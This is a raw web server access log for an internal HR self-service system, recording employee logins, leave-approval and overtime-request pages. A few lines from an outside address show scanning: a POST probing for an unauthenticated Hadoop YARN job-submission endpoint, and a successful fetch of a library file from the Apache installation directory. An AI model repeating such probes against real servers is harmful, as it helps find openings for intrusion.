192.168.11.104 - - [06/Sep/2025:10:52:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:10:52:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:10:52:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.11.104 - - [06/Sep/2025:10:52:51 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:10:52:51 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:10:52:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:10:52:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:53:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:53:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609
192.168.11.104 - - [06/Sep/2025:10:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12112
192.168.11.104 - - [06/Sep/2025:10:53:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.104 - - [06/Sep/2025:10:53:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:53:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:53:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609
192.168.11.104 - - [06/Sep/2025:10:53:12 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:53:12 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.73 - - [06/Sep/2025:10:59:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.73 - - [06/Sep/2025:10:59:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.73 - - [06/Sep/2025:10:59:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.73 - - [06/Sep/2025:10:59:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.73 - - [06/Sep/2025:10:59:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.73 - - [06/Sep/2025:10:59:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [06/Sep/2025:10:59:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3786591907191361 HTTP/1.1" 200 54628
192.168.11.73 - - [06/Sep/2025:10:59:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3786591907191361 HTTP/1.1" 200 54628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3786591907191361 HTTP/1.1" 200 56808 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3786591907191361" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3786591907191361 HTTP/1.1" 200 56808
192.168.11.73 - - [06/Sep/2025:10:59:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.11.73 - - [06/Sep/2025:10:59:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [06/Sep/2025:10:59:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.104 - - [06/Sep/2025:11:00:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:00:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:00:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217
192.168.11.104 - - [06/Sep/2025:11:00:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:00:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.104 - - [06/Sep/2025:11:00:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
100.64.0.1 - - [06/Sep/2025:11:05:18 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:11:05:18 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:07:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:07:06 +0800] "GET / HTTP/1.1" 200 439
192.168.11.104 - - [06/Sep/2025:11:12:02 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:12:02 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.104 - - [06/Sep/2025:11:12:50 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:12:50 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
100.64.0.1 - - [06/Sep/2025:11:13:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp10029.so HTTP/1.1" 200 24670 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:11:13:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp10029.so HTTP/1.1" 200 24670
100.64.0.1 - - [06/Sep/2025:11:14:14 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:11:14:14 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
100.64.0.1 - - [06/Sep/2025:11:16:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:16:54 +0800] "GET / HTTP/1.1" 200 439
192.168.11.104 - - [06/Sep/2025:11:16:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:16:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
100.64.0.1 - - [06/Sep/2025:11:16:58 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:11:16:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.104 - - [06/Sep/2025:11:16:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217
192.168.11.104 - - [06/Sep/2025:11:16:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:16:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:16:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.104 - - [06/Sep/2025:11:20:48 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:20:48 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:21:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:21:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:21:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.104 - - [06/Sep/2025:11:21:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:21:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:21:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.104 - - [06/Sep/2025:11:21:15 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:11:21:15 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:21:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:21:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:21:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:21:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10394
192.168.11.104 - - [06/Sep/2025:11:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10394 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 8336
192.168.11.104 - - [06/Sep/2025:11:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 8336 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 27649 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 27649
192.168.11.104 - - [06/Sep/2025:11:22:39 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7535 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:39 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7535
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
